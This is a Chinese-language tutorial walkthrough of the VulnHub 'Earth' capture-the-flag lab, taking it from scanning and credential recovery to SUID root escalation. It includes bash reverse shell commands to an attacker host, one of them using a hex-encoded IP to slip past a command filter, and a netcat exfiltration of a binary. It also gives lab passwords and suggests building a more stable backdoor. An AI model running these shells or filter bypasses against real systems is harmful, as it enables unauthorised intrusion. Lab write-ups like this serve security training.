vulnhub系列1——Earth
字数 1295 2025-08-11 22:57:23
VulnHub靶场Earth渗透测试教学文档
1. 靶场概述
Earth是VulnHub上的一个CTF靶场,难度中等,主要考察信息收集、Web应用安全、权限提升等技能。本教学文档将详细讲解渗透测试全过程。
2. 环境准备
- 靶机:Earth (IP: 192.168.56.104)
- 攻击机:Kali Linux
- 网络配置:NAT或桥接模式
3. 渗透测试过程
3.1 信息收集
3.1.1 主机发现
使用netdiscover扫描同网段存活主机:
netdiscover -r 192.168.56.0/24
3.1.2 端口扫描
使用nmap进行详细扫描:
nmap -sV -Pn -sC 192.168.56.104
预期发现开放端口:
- 22/tcp - SSH
- 80/tcp - HTTP
3.1.3 Web应用探测
- 添加DNS记录到hosts文件:
echo "192.168.56.104 earth.local" >> /etc/hosts
- 访问robots.txt文件:
http://earth.local/robots.txt
- 使用目录爆破工具(如dirb、gobuster)进行模糊测试:
gobuster dir -u http://earth.local -w /usr/share/wordlists/dirb/common.txt
3.2 Web应用渗透
3.2.1 获取凭据
-
在Web应用中寻找线索,可能发现:
- 经过XOR加密的字符串
- 用户名提示:terra
-
使用Python脚本解密:
# XOR解密脚本示例
encrypted_data = "..." # 替换为实际发现的加密数据
key = "..." # 替换为发现的密钥或通过分析得出的密钥
decrypted = bytes([a ^ b for a, b in zip(encrypted_data, key)])
print(decrypted.decode('utf-8'))
- 最终获得凭据:
- 用户名:terra
- 密码:earthclimatechangebad4humans
3.2.2 获取Shell
-
登录后台后寻找命令执行点
-
尝试反弹Shell(常规方法被过滤):
bash -i >& /dev/tcp/192.168.56.105/6666 0>&1
- 使用十六进制IP绕过过滤:
bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x69/6666 0>&1
(将IP 192.168.56.105转换为十六进制形式)
- 在攻击机监听:
nc -lvnp 6666
3.3 权限提升
3.3.1 查找SUID文件
find / -perm -u=s -type f 2>/dev/null
发现可疑文件:/usr/bin/reset_root
3.3.2 分析reset_root
- 直接运行报错:
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
-
将文件传输到Kali分析:
在靶机:nc -nv 192.168.56.105 1234 < /usr/bin/reset_root在Kali:
nc -lp 1234 > reset_root -
使用strace调试:
strace ./reset_root
发现程序检查以下文件是否存在:
- /lib/console
- /lib/bsd
- /lib/initrd
- 创建所需文件:
touch /lib/console /lib/bsd /lib/initrd
- 再次运行reset_root获取root密码:
Earth
3.3.3 获取root权限
su root
输入密码:Earth
4. 关键知识点总结
-
信息收集技巧:
- 全面的端口扫描和服务识别
- robots.txt文件的利用
- 目录/文件模糊测试
-
Web应用渗透:
- XOR加密的识别与解密
- 十六进制IP编码绕过过滤
- 命令注入的多种形式
-
权限提升方法:
- SUID文件利用
- 二进制文件分析(strace)
- 环境条件绕过
-
网络传输技巧:
- 使用netcat进行文件传输
- 反弹Shell的多种形式
5. 防御建议
-
对Web应用:
- 避免在客户端存储敏感加密信息
- 实现更严格的命令过滤机制
- 使用参数化查询防止注入
-
对系统安全:
- 定期审计SUID文件
- 避免在二进制文件中硬编码密码
- 实施最小权限原则
-
对开发实践:
- 避免依赖文件存在性作为安全条件
- 对特权程序进行更严格的安全检查
6. 扩展练习
- 尝试不使用十六进制IP编码,寻找其他绕过方法
- 分析reset_root二进制文件,理解其完整工作原理
- 探索其他可能的提权路径(如内核漏洞)
- 尝试建立更稳定的后门连接
通过本靶场的练习,可以全面掌握从信息收集到权限提升的完整渗透测试流程,特别是Web应用安全和Linux系统安全方面的关键技能。